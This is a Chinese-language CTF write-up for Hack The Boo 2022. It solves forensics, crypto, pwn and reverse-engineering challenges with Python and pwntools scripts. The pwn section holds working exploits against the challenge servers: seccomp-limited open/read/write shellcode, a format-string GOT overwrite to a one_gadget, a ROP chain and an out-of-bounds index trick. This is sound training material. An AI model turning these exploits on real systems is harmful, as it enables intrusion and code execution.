[Hack The Boo CTF 2022] writeup

[Hack The Boo CTF 2022] writeup_第1张图片

一个外国简单比赛,好多人队都答了25题,由于web不会,misc不熟,作了misc3,crypto4,pwn5,rev5不过有的找不到了,慢慢找。

misc

Wrong Spooky Season

 附件也是个流量包,打开后在尾部有数据,追踪TCP流可以看到base64的码

 [Hack The Boo CTF 2022] writeup_第2张图片

 显然是反过来放的,转回来解码得到flag

>>> a = "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS"
>>> from base64 import *
>>> b64decode(a[::-1])
b'HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}\n'

Trick or Breach

 下来的附件是个流量包,全是DNS请求

Standard query 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
Standard query response 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com A 147.182.172.189
Standard query 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
Standard query response 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com A 147.182.172.189
Standard query 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
Standard query response 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com A 147.182.172.189

显然请求的pumpkincorp.com前的部分是16进制编码的数据,把这些数据弄下来,得到一个PK开头的文件,是个excel文件,打开后有flag

[Hack The Boo CTF 2022] writeup_第3张图片

Halloween Invitation  不会

POOF 附件太大

Downgrade 未完成

作了一部分后边不知道怎么找了

┌──(kali㉿kali)-[~/ctf/pwn_spooky_time]
└─$ nc 161.35.33.243 30240                                                                                          

+-----------+---------------------------------------------------------+
|   Title   |                       Description                       |
+-----------+---------------------------------------------------------+
| Downgrade |         During recent auditing, we noticed that         |
|           |     network authentication is not forced upon remote    |
|           |       connections to our Windows 2012 server. That      |
|           |           led us to investigate our system for          |
|           |  suspicious logins further. Provided the server's event |
|           |       logs, can you find any suspicious successful      |
|           |                          login?                         |
+-----------+---------------------------------------------------------+

Which event log contains information about logon and logoff events? (for example: Setup)
> Security                                                                                                                                                  
[+] Correct!
 
What is the event id for logs for a successful logon to a local computer? (for example: 1337)                                                               
> 4624                                                                                                                                                      
[+] Correct!

Which is the default Active Directory authentication protocol? (for example: http)                                                                          
> Kerberos                                                                                                                                                  
[+] Correct!

Looking at all the logon events, what is the AuthPackage that stands out as different from all the rest? (for example: http)                                
> NTLM                                                                                                                                                      
[+] Correct!
 
[-] Wrong Answer.
What is the timestamp of the suspicious login (yyyy-MM-ddTHH:mm:ss) UTC? (for example, 2021-10-10T08:23:12)                                                   
>

看了个WP,其实就差一点了,认证协议只有3种,所以猜中第3题,第4题,第4题是仅出现一次的情况,所以显然可疑的登录就是唯一的这一个,登录时间是 2022/09/28 21:10:57但试过不对,看WP应该是输入2022-09-28T13:10:57(这个应该标准时间,输入的是+8的)

 [Hack The Boo CTF 2022] writeup_第4张图片

crypto

Gonna-Lift-Em-All

题目给了两个有限域的一元方程

import random

FLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'

def gen_params():
  p = getPrime(1024)
  g = random.randint(2, p-2)
  x = random.randint(2, p-2)
  h = pow(g, x, p)
  return (p, g, h), x

def encrypt(pubkey):
  p, g, h = pubkey
  m = bytes_to_long(FLAG)
  y = random.randint(2, p-2)
  s = pow(h, y, p)
  return (g * y % p, m * s % p)

def main():
  pubkey, privkey = gen_params()
  c1, c2 = encrypt(pubkey)

  with open('data.txt', 'w') as f:
    f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')


if __name__ == "__main__":
  main()

两个方程式:c1 = g*y %p; c2 = m*pow(h,y,p)%p 其中p,g,h,c1,c2已知,通过第1式得到y再通过第2式得到m

p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)

#c1 = g*y %p 
from gmpy2 import *
y = c1 * invert(g,p) % p 
print(y)
#c2 = m * s %p , s = h**y %p 
s = pow(h,y,p)
m = c2 * invert(s, p) % p
print(long_to_bytes(m))
#HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}

Fast Carmichael 终于找到

这个想了半天没想到怎么弄,用欧拉伪素数判断方法。在网上能搜到足够的卡迈尔数和一个快速生成方法,但是显然对比的是-1而不是1所以实现不了。等WP吧

终于找到一个,从一篇论文里有一个300以下base 的强伪素数

p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
#2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867

输入这个数就OK了,主要是考验互联网搜论文的能力,不过按他的链接没有找到他的结果。 

from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signal

class Handler(socketserver.BaseRequestHandler):

    def handle(self):
        signal.alarm(0)
        main(self.request)


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


def sendMessage(s, msg):
    s.send(msg.encode())


def receiveMessage(s, msg):
    sendMessage(s, msg)
    return s.recv(4096).decode().strip()


def generate_basis(n):
    basis = [True] * n

    for i in range(3, int(n**0.5) + 1, 2):
        if basis[i]:
            basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)

    return [2] + [i for i in range(3, n, 2) if basis[i]]


def millerRabin(n, b):
    basis = generate_basis(300)
    if n == 2 or n == 3:
        return True

    if n % 2 == 0:
        return False

    r, s = 0, n - 1
    while s % 2 == 0:
        r += 1
        s //= 2
    for b in basis:
        x = pow(b, s, n)
        if x == 1 or x == n - 1:
            continue
        for _ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                break
        else:
            return False
    return True


def _isPrime(p):
    if p < 1:
        return False
    if (p.bit_length() <= 600) and (p.bit_length() > 1500):
        return False
    if not millerRabin(p, 300):
        return False

    return True


def main(s):
    p = receiveMessage(s, "Give p: ")

    try:
        p = int(p)
    except:
        sendMessage(s, "Error!")

    if _isPrime(p) and not isPrime(p):
        sendMessage(s, FLAG)
    else:
        sendMessage(s, "Conditions not satisfied!")


if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
    server.serve_forever()

Spooky RSA

题和解法找不到了,这个应该是很简单就没写

Whole Lotta Candy

给了两个程序,一个是server另一个是encrypt,其中server可以选择加密方式,加密和取加密后的flag,

from encrypt import Encryptor
from secret import FLAG
import socketserver
import random
import signal
import json

MODES = ['ECB', 'CBC', 'CFB', 'OFB', 'CTR']


class Handler(socketserver.BaseRequestHandler):

    def handle(self):
        signal.alarm(0)
        main(self.request)


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


def sendMessage(s, msg):
    s.send(msg.encode())


def receiveMessage(s, msg):
    sendMessage(s, msg)
    return s.recv(4096).decode().strip()


def main(s):
    mode = random.choice(MODES)
    enc = Encryptor()
    while True:
        try:
            sendMessage(s,
                        f"Please interact with the server using json data!\n")
            sendMessage(s, f"Selected mode is {mode}.\n")
            payload = receiveMessage(
                s,
                "\nOptions:\n\n1.Encrypt flag\n2.Encrypt plaintext\n3.Change mode\n4.Exit\n\n> "
            )
            payload = json.loads(payload)
            option = payload["option"]
            if option == "1":
                ciphertext = enc.encrypt(FLAG, mode).hex()
                response = json.dumps({
                    "response": "encrypted",
                    "ciphertext": ciphertext
                })
                sendMessage(s, "\n" + response + "\n")
            elif option == "2":
                payload = receiveMessage(s, "Enter plaintext: \n")
                payload = json.loads(payload)
                plaintext = payload['plaintext'].encode()
                ciphertext = enc.encrypt(plaintext, mode).hex()
                response = json.dumps({
                    "response": "encrypted",
                    "ciphertext": ciphertext
                })
                sendMessage(s, "\n" + response + "\n")
            elif option == "3":
                response = json.dumps({"modes": MODES})
                sendMessage(
                    s, "These are the supported modes\n" + response + "\n")
                payload = receiveMessage(s, "Expecting modes: \n")
                payload = json.loads(payload)
                mode = random.choice(payload['modes'])
            elif option == "4":
                sendMessage(s, "Bye bye\n")
                exit()
        except Exception as e:
            response = json.dumps({"response": "error", "message": str(e)})
            sendMessage(s, "\n" + response + "\n")
            exit()


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
    server.serve_forever()

encrypt.py就是用指定的加密方式加密没有问题,略。

漏洞就在于选择加密方式时,可选项由用户输入,这样可以选择CTR加密方式,CTR加密里先生成z0,z1...然后再与明文异或得到密文。这样只要随便输入个明文得到加密结果后就得到了z再与flag的密文异或即可。我输入的是64个0

from pwn import *

a = bytes.fromhex("cdfd3535ef16e064f07bc31843a236f8a8f5af32d8cf6994562bcb973dc223de285a15605cb3b72012bcfd3c69e765f76f6751b52a1cc45b999d78f91fbc8996")
b = bytes.fromhex("b599477e94489f038e14834412a348ffabf2e735b79e6e93075890f861c32a862f5f7a6724b0d86763d5923b31a53a92661f3ee85b628d34e4c22cfa55f1bba48d77ba3555a05476b1e57098b18175ed")
c = b'0'*64

m =bytes([a[i]^b[i]^c[i] for i in range(64)])
print(m)
#b'HTB{KnOWN_pla1N737x7_a77aCk_l19h75_7H3_wAY_7hroU9H_mANy_Mod3z}\x02\x02'

AHS512

一个自制的加密,先将每个字符右移4位再与左移3位或,再作hash,要求输入明文不同但密文相同的值。

from secret import FLAG
from hashlib import sha512
import socketserver
import signal
from random import randint

WELCOME = """
**************** Welcome to the Hash Game. ****************
*                                                         *
*    Hash functions are really spooky.                    *
*    In this game you will have to face your fears.       *
*    Can you find a colision in the updated sha512?       *
*                                                         *
***********************************************************
"""


class Handler(socketserver.BaseRequestHandler):

    def handle(self):
        signal.alarm(0)
        main(self.request)


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


def sendMessage(s, msg):
    s.send(msg.encode())


def receiveMessage(s, msg):
    sendMessage(s, msg)
    return s.recv(4096).decode().strip()


class ahs512():

    def __init__(self, message):
        self.message = message
        self.key = self.generateKey()

    def generateKey(self):
        while True:
            key = randint(2, len(self.message) - 1)
            if len(self.message) % key == 0:
                break

        return key    #2,4,5,10

    def transpose(self, message):           #随机值,但仅有2,4,5,10四种,当两次的随机数相同时即可
        transposed = [0 for _ in message]

        columns = len(message) // self.key

        for i, char in enumerate(message):
            row = i // columns
            col = i % columns
            transposed[col * self.key + row] = char

        return bytes(transposed)

    def rotate(self, message):
        return [((b >> 4) | (b << 3)) & 0xff for b in message]   #首位与尾位有重叠,将任一字符的尾位放在首位即可(原首位为0)

    def hexdigest(self):
        transposed = self.transpose(self.message)
        rotated = self.rotate(transposed)
        return sha512(bytes(rotated)).hexdigest()


def main(s):
    sendMessage(s, WELCOME)

    original_message = b"pumpkin_spice_latte!"   # 70756d706b696e5f73706963655f6c61747465a0
    original_digest = ahs512(original_message).hexdigest()
    sendMessage(
        s,
        f"\nFind a message that generate the same hash as this one: {original_digest}\n"
    )

    while True:
        try:
            message = receiveMessage(s, "\nEnter your message: ")
            message = bytes.fromhex(message)

            digest = ahs512(message).hexdigest()

            if ((original_digest == digest) and (message != original_message)):
                sendMessage(s, f"\n{FLAG}\n")
            else:
                sendMessage(s, "\nConditions not satisfied!\n")

        except KeyboardInterrupt:
            sendMessage(s, "\n\nExiting")
            exit(1)

        except Exception as e:
            sendMessage(s, f"\nAn error occurred while processing data: {e}\n")


if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
    server.serve_forever()

这里右4左3存在重叠,只要把明文的任一字符末位方到首位即可,我改的最后一个!由0x21->0xa0

from pwn import *

context.log_level = 'debug'

while True:
    p = remote('139.59.167.169', 32069)
    p.sendlineafter(b'Enter your message: ', b'70756d706b696e5f73706963655f6c61747465a0')
    p.recvline()
    m = p.recvline()
    if b'not satisfied!' not in m:
        print(m)
    p.close()

pwn

Pumpkin Stand

先看源文

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int16 v3; // [rsp+4h] [rbp-4Ch] BYREF
  __int16 v4; // [rsp+6h] [rbp-4Ah] BYREF
  FILE *stream; // [rsp+8h] [rbp-48h]
  char s[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v7; // [rsp+18h] [rbp-38h]
  __int64 v8; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h]
  __int64 v10; // [rsp+30h] [rbp-20h]
  __int64 v11; // [rsp+38h] [rbp-18h]
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  v3 = 0;
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        __isoc99_scanf("%d", &v3);
        printf("\nHow many do you want?\n\n>> ");
        __isoc99_scanf("%d", &v4);
        if ( v4 > 0 )
          break;
        printf("%s\n[-] You cannot buy less than 1!\n", "\x1B[1;31m");
      }
      pumpcoins -= values[v3] * v4;
      if ( pumpcoins >= 0 )
        break;
      printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");
      printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
    }
    if ( v3 == 1 )
    {
      printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");
      puts("\nGood luck crafting this huge pumpkin with a shovel!\n");
    }
    else
    {
      if ( pumpcoins > 9998 )
      {
        *(_QWORD *)s = 0LL;
        v7 = 0LL;
        v8 = 0LL;
        v9 = 0LL;
        v10 = 0LL;
        v11 = 0LL;
        stream = fopen("./flag.txt", "rb");
        if ( !stream )
        {
          puts("Error opening flag.txt, please contact an Administrator!\n");
          exit(1);
        }
        fgets(s, 48, stream);
        printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n", "\x1B[1;32m", s);
        exit(22);
      }
      printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
    }
  }
}

显然当这里的偏移v3得到一个负值就能成功,而v3又没有作前边界检查,从values向前看

.got:0000000000201FF8 98 20 20 00 00 00 00 00       __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000201FF8                                                                       ; DATA XREF: __cxa_finalize↑r
.got:0000000000201FF8                                                                       ; __do_global_dtors_aux+9↑r
.got:0000000000201FF8                               _got ends
.got:0000000000201FF8
.data:0000000000202000                               ; ===========================================================================
.data:0000000000202000
.data:0000000000202000                               ; Segment type: Pure data
.data:0000000000202000                               ; Segment permissions: Read/Write
.data:0000000000202000                               _data segment qword public 'DATA' use64
.data:0000000000202000                               assume cs:_data
.data:0000000000202000                               ;org 202000h
.data:0000000000202000                               public __data_start ; weak
.data:0000000000202000 00                            __data_start db    0                    ; Alternative name is '__data_start'
.data:0000000000202000                                                                       ; data_start
.data:0000000000202001 00                            db    0
.data:0000000000202002 00                            db    0
.data:0000000000202003 00                            db    0
.data:0000000000202004 00                            db    0
.data:0000000000202005 00                            db    0
.data:0000000000202006 00                            db    0
.data:0000000000202007 00                            db    0
.data:0000000000202008                               public __dso_handle
.data:0000000000202008                               ; void *_dso_handle
.data:0000000000202008 08 20 20 00 00 00 00 00       __dso_handle dq offset __dso_handle     ; DATA XREF: __do_global_dtors_aux+17↑r
.data:0000000000202008                                                                       ; .data:__dso_handle↓o
.data:0000000000202010                               public values

 它距离got表很近,当向前越界到got时,如果这一项已经有libc的值大概率会是负整数,输入-6即可。

Entity

这个很良心给了源码

#include 
#include 
#include 

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

typedef enum {
    STORE_GET,
    STORE_SET,
    FLAG
} action_t;

typedef enum {
    INTEGER,
    STRING
} field_t;

typedef struct { 
    action_t act;
    field_t field;
} menu_t;

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'T':
        res.act = STORE_SET;
        break;
    case 'R':
        res.act = STORE_GET;
        break;
    case 'C':
        res.act = FLAG;
        return res;
    default:
        puts("\nWhat's this nonsense?!");
        exit(-1);
    }

    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'L':
        res.field = INTEGER;
        break;
    case 'S':
        res.field = STRING;
        break;
    default:
        printf("\nYou are doomed!\n");
        exit(-1);
    }
    return res;
}

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }

}

void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
    case INTEGER:
        printf("%llu\n", DataStore.integer);
        break;
    case STRING:
        printf("%.8s\n", DataStore.string);
        break;
    }
}

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }

}

 它定义了一个结构可以放串或数字,检查数字是13371337即可给flag但在输入时仅检查数字,把13371337作为字符串写入即可

from pwn import *

#p = process('./entity')
p = remote('178.62.85.130', 32321)

p.sendlineafter(b'>> ', b'T')
p.sendlineafter(b'>> ', b'S')
p.sendlineafter(b'>> ', p64(13371337))
p.sendlineafter(b'>>', b'C')

print(p.recvline())

Pumpking

这题栈可执行,所以就直接来shellcode就行了,不过用seccomp限制只能用openat,read,write这也不难,有个坑点,一般打开的flag文件id号是3,然后习惯于写3,但这个不是,所以打开文件后读的时候应该取rax的值。

openat的1参与不好弄,直接用绝对路径略过

from pwn import *

p = remote('167.71.138.188', 31251)
#p = process('./pumpking')

elf = ELF('./pumpking')

context.arch='amd64'
context.log_level = 'debug'

#gdb.attach(p)
#pause()

p.sendlineafter(b': ', b"pumpk1ngRulez")

shellcode  = '''
push 0x7478
mov rax, 0x742e67616c662f66
push rax
mov rax,0x74632f656d6f682f
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx 
xor rcx, rcx
push 257 
pop rax
syscall

mov rdi,rax  /* file id */
mov rsi,rsp
mov rdx,0x50
mov rax,0 
syscall

mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x150
syscall 
'''

#shellcode = "mov rdi,1;mov rsi,rsp;sub rsi,0x100;mov rdx,0x500;mov rax,1;syscall"
shellcode = asm(shellcode)

p.sendlineafter(b'>> \0\0', shellcode)
print(p.recvall())
#p.shutdown()
p.interactive()

Spooky Time

这题有两次执行无固定格式串的printf

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[12]; // [rsp+4h] [rbp-14Ch] BYREF
  char v6[312]; // [rsp+10h] [rbp-140h] BYREF
  unsigned __int64 v7; // [rsp+148h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  banner();
  puts("It's your chance to scare those little kids, say something scary!\n");
  __isoc99_scanf("%11s", format);
  puts("\nSeriously?? I bet you can do better than ");
  printf(format);
  puts("\nAnyway, here comes another bunch of kids, let's try one more time..");
  puts("\n");
  __isoc99_scanf("%299s", v6);
  puts("\nOk, you are not good with that, do you think that was scary??\n");
  printf(v6);
  puts("Better luck next time!\n");
  return v7 - __readfsqword(0x28u);
}

第1次有长度限制,恰好可以从3和51分别得到题目加载地址和libc地址

第2次想不到好办法,由于one_gadget本身不一定能用,所以不优先考虑,没办法了回到这,将got.puts改为one[1]

from pwn import *

#p = process('./spooky_time')
p = remote('161.35.164.157',31653)

context(arch='amd64', log_level='debug')

elf = ELF('./spooky_time')
libc_elf = ELF('./glibc/libc.so.6')

p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p,%3$p')
p.recvuntil(b'Seriously?? I bet you can do better than \n')
pwn_base = int(p.recvuntil(b',', drop=True), 16) - elf.sym['main']
libc_base = int(p.recvline(), 16) - libc_elf.sym['write'] - 23
libc_elf.address = libc_base
elf.address = pwn_base
print('pwn:', hex(pwn_base))
print('libc:', hex(libc_base))

one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]

payload = fmtstr_payload(8, {elf.got['puts']: libc_base + one[2]})
p.sendlineafter(b"let's try one more time..\n\n", payload)

p.interactive()
#HTB{n0th1ng_sc4r1eR_th4n_fsb_w1th0ut_r3lR0}

Finale

这题有个提示:用了自制libc。所以虽然可以溢出但无法利用system,只能用ROP,而只提供了rsi,rdi没有rdx所以3参有点麻烦。

ssize_t finale()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", buf);
  printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
  fflush(stdin);
  fflush(_bss_start);
  read(0, buf, 0x1000uLL);
  return write(1, "\n[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!\n\n", 0x54uLL);
}

非常直白的一个溢出0x1000,当read时发现rdx=0,于是向前找能不能有个ret前rdx有值的,找到0x401476也就是这个read后也write三参的位置。然后在read前先调用它得到rdx再执行后边的操作。这前边用到leave;ret还要把溢出时破坏的rbp给恢复一下

from pwn import *

#p = process('./finale')
p = remote('161.35.33.243', 30917)

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./finale')

pop_rbp = 0x00000000004012bd # pop rbp ; ret
pop_rdi = 0x00000000004012d6 # pop rdi ; ret
pop_rsi = 0x00000000004012d8 # pop rsi ; ret

#gdb.attach(p, 'b*0x40148f')

p.sendlineafter(b'tell us the secret phrase: ', b's34s0nf1n4l3b00')

p.recvuntil(b'with you for good luck: [')
stack = int(p.recvuntil(b']', drop=True), 16)

pay = b'flag.txt'.ljust(0x48,b'\x00') 
pay+= flat(pop_rdi, stack, pop_rsi, 0, elf.plt['open'])
pay+= flat(pop_rbp, stack+0x80, 0x401476, pop_rdi,3, pop_rsi, 0x404200, elf.plt['read'])
pay+= flat(pop_rdi, 0x404200, elf.plt['puts'])
p.sendlineafter(b'Now, tell us a wish for next year: ', pay)
p.recvuntil(b'Let the Spooktober Spirit be with you!\n\n')

print(p.recvline())

p.interactive()

rev

Cult Meeting

IDA打开可以看到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-40h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("\x1B[3mYou knock on the door and a panel slides back\x1B[0m");
  puts(asc_2040);
  fwrite("\"What is the password for this week's meeting?\" ", 1uLL, 0x30uLL, _bss_start);
  fgets(s, 64, stdin);
  *strchr(s, 10) = 0;
  if ( !strcmp(s, "sup3r_s3cr3t_p455w0rd_f0r_u!") )
  {
    puts("\x1B[3mThe panel slides closed and the lock clicks\x1B[0m");
    puts("|      | \"Welcome inside...\" ");
    system("/bin/sh");
  }
  else
  {
    puts("   \\/");
    puts(asc_2130);
  }
  return 0;
}

EncodedPayload

这是个32位程序,不能反编译,也看不明白流程,跟进去执行然后在内存里搜HTB找到flag

'''
gdb-peda$ find HTB
Searching for 'HTB' in: None ranges
Found 6 results, display max 6 items:
 [heap] : 0x5555555757ed ("HTB{PLz_strace_M333}")
 [heap] : 0x555555575830 ("HTB{PLz_strace_M333}")
 [heap] : 0x5555555758a0 ("HTB{PLz_strace_M333}")
 [heap] : 0x5555555758e8 ("HTB{PLz_strace_M333}\n")
 [heap] : 0x555555576420 ("HTB{PLz_strace_M333}\n")
[stack] : 0x7fffffffefdb ("HTB{PLz_strace_M333}")
'''

Ghost Wrangler

找不着题了,应该是极简题

Ouija

ida打开看到类似flag的串

  setvbuf(stdout, 0LL, 2, 0LL);
  v6 = strdup("ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}");
  puts("Retrieving key.");
  sleep(0xAu);

猜是移位密码

a = "ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}"

flag = ''
for v in a:
    if 'A'<= v <= 'Z':
        flag += chr((ord(v)- 0x41 + 8)% 26 + 0x41 )
    elif 'a'<= v <= 'z':
        flag += chr((ord(v)- 0x61 + 8)% 26 + 0x61 )
    else:
        flag += v

print(flag)
#HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}

Secured Transfer

因为其它题都特别简单,这题猜他用的标准的库

__int64 __fastcall sub_16AF(__int64 a1, unsigned int a2, __int64 a3)
{
  __int64 v4; // rax
  unsigned int v6; // [rsp+28h] [rbp-48h] BYREF
  unsigned int v7; // [rsp+2Ch] [rbp-44h]
  const char *v8; // [rsp+30h] [rbp-40h]
  __int64 v9; // [rsp+38h] [rbp-38h]
  char v10[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v11; // [rsp+68h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  qmemcpy(v10, "supersecretkeyusedforencryption!", 32);
  v8 = "someinitialvalue";
  v9 = EVP_CIPHER_CTX_new();
  if ( !v9 )
    return 0LL;
  v4 = EVP_aes_256_cbc();
  if ( (unsigned int)EVP_DecryptInit_ex(v9, v4, 0LL, v10, v8) != 1 )
    return 0LL;
  if ( (unsigned int)EVP_DecryptUpdate(v9, a3, &v6, a1, a2) != 1 )
    return 0LL;
  v7 = v6;
  if ( (unsigned int)EVP_DecryptFinal_ex(v9, (int)v6 + a3, &v6) != 1 )
    return 0LL;
  v7 += v6;
  EVP_CIPHER_CTX_free(v9);
  return v7;
}

看名字是aes_256_cbc直接用程序解密

from Crypto.Cipher import AES

key = b"supersecretkeyusedforencryption!"
iv = b"someinitialvalue"

c = bytes.fromhex('5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c')

aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(c)
print(m)
#b'HTB{vryS3CuR3_F1L3_TR4nsf3r}\x04\x04\x04\x04'

你可能感兴趣的:(CTF,crypto,CTF,reverse,CTF,pwn,CTF)